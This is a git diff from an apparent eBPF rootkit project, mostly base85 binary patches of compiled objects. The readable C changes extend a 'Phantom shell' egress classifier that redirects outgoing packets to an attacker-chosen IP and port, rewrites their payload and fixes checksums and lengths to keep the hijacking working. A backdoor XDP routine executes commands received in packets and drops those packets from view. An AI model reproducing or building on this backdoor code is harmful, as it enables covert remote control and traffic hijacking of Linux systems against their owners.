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 YdzRb~;6MuhJ>K)luc9@U3Ts3E7k~f?asU7T diff --git a/src/ebpf/include/bpf/tc.c b/src/ebpf/include/bpf/tc.c index 410569e..de579b0 100644 --- a/src/ebpf/include/bpf/tc.c +++ b/src/ebpf/include/bpf/tc.c @@ -112,22 +112,37 @@ int classifier_egress(struct __sk_buff *skb){ bpf_printk("Phantom shell active now, A:%i IP:%x P:%x\n", ps_data->active, ps_data->d_ip, ps_data->d_port); bpf_printk("Phantom shell param payload: %s\n", ps_data->payload); __u32 new_ip = ps_data->d_ip; - __u16 new_port = ps_data->d_port; - __u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr); - __u32 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr); + __u16 new_dport = ps_data->d_port; + __u32 offset_ip_daddr = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr); + __u32 offset_dport = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr); + __u32 offset_ip_checksum = offsetof(struct iphdr, check)+ sizeof(struct ethhdr); + __u32 offset_tcp_checksum = offsetof(struct tcphdr, check)+ sizeof(struct ethhdr) +sizeof(struct iphdr); //bpf_printk("Payload: %s\n", payload); //TODO, adjust the length to the new payload. Verifier complains a lot so we will keep it like this for now __u32 increment_len = sizeof(char)*64; - - bpf_printk("offset ip: %u\n", offset_ip); - int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), 0); + __u32 old_ip_daddr; + bpf_skb_load_bytes(skb, offset_ip_daddr, &old_ip_daddr, sizeof(__u32)); + __u16 old_dport; + bpf_skb_load_bytes(skb, offset_dport, &old_dport, sizeof(__u16)); + bpf_printk("offset ip: %u\n", offset_ip_daddr); + int ret = bpf_l3_csum_replace(skb, offset_ip_checksum, old_ip_daddr, new_ip, sizeof(__u32)); + if (ret < 0) { + bpf_printk("Failed to recompute l3 checksum: %d\n", ret); + return TC_ACT_OK; + } + ret = bpf_skb_store_bytes(skb, offset_ip_daddr, &new_ip, sizeof(__u32), 0); if (ret < 0) { bpf_printk("Failed to overwrite destination ip: %d\n", ret); return TC_ACT_OK; } - bpf_printk("offset port: %u\n", offset_port); - ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), 0); + bpf_printk("offset port: %u\n", offset_dport); + ret = bpf_l4_csum_replace(skb, offset_tcp_checksum, old_dport, new_dport, sizeof(__u16)); + if (ret < 0) { + bpf_printk("Failed to recompute l4 checksum: %d\n", ret); + return TC_ACT_OK; + } + ret = bpf_skb_store_bytes(skb, offset_dport, &new_dport, sizeof(__u16), 0); if (ret < 0) { bpf_printk("Failed to overwrite destination port: %d\n", ret); return TC_ACT_OK; @@ -204,6 +219,42 @@ int classifier_egress(struct __sk_buff *skb){ bpf_printk("Failed to overwrite payload: %d\n", ret); return TC_ACT_OK; } + + data = (void *)(__u64)skb->data; + data_end = (void *)(__u64)skb->data_end; + + eth = data; + if ((void *)eth + sizeof(struct ethhdr) > data_end){ + bpf_printk("ETH\n"); + return TC_ACT_OK; + } + ip = (struct iphdr*)(data + sizeof(struct ethhdr)); + if ((void *)ip + sizeof(struct iphdr) > data_end){ + bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end); + return TC_ACT_OK; + } + tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); + if ((void *)tcp + sizeof(struct tcphdr) > data_end){ + bpf_printk("TCP CHECK\n"); + return TC_ACT_OK; + } + + //Fixing IP checksum + //bpf_printk("Old value %x, new value %x\n", htons(ip->tot_len), htons(ntohs(ip->tot_len)+increment_len)); + __u32 offset_ip_tot_len = offsetof(struct iphdr, tot_len)+ sizeof(struct ethhdr); + __u16 new_tot_len = htons(ntohs(ip->tot_len)+increment_len); + ret = bpf_l3_csum_replace(skb, offset_ip_checksum, (ip->tot_len), new_tot_len, sizeof(__u16)); + if (ret < 0) { + bpf_printk("Failed to recompute l3 checksum: %d\n", ret); + return TC_ACT_OK; + } + bpf_printk("New ip tot len: %i\n", ntohs(new_tot_len)); + ret = bpf_skb_store_bytes(skb, offset_ip_tot_len, &new_tot_len, sizeof(__u16), 0); + if (ret < 0) { + bpf_printk("Failed to overwrite ip total len: %d\n", ret); + return TC_ACT_OK; + } + bpf_printk("Finished packet hijacking routine\n"); return TC_ACT_OK; diff --git a/src/ebpf/include/packet/protocol/ip_helper.h b/src/ebpf/include/packet/protocol/ip_helper.h index 0804277..7378e32 100644 --- a/src/ebpf/include/packet/protocol/ip_helper.h +++ b/src/ebpf/include/packet/protocol/ip_helper.h @@ -5,9 +5,11 @@ #include #include */ +#ifndef __H_TCKIT #include #include #include "headervmlinux.h" +#endif /** * IP checksum calculation. diff --git a/src/ebpf/include/xdp/backdoor.h b/src/ebpf/include/xdp/backdoor.h index 28c22b9..3e4e25e 100644 --- a/src/ebpf/include/xdp/backdoor.h +++ b/src/ebpf/include/xdp/backdoor.h @@ -171,7 +171,7 @@ backdoor_finish: execute_key_command(command_received, ip, port); - + //return XDP_PASS; return XDP_DROP; } diff --git a/src/tc.o b/src/tc.o index 6a6fdd191f32de2db9f0620bd9683ab557750871..1adb77398acfc2cfe5dd34e3b7ac89d65103dce7 100644 GIT binary patch literal 48856 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 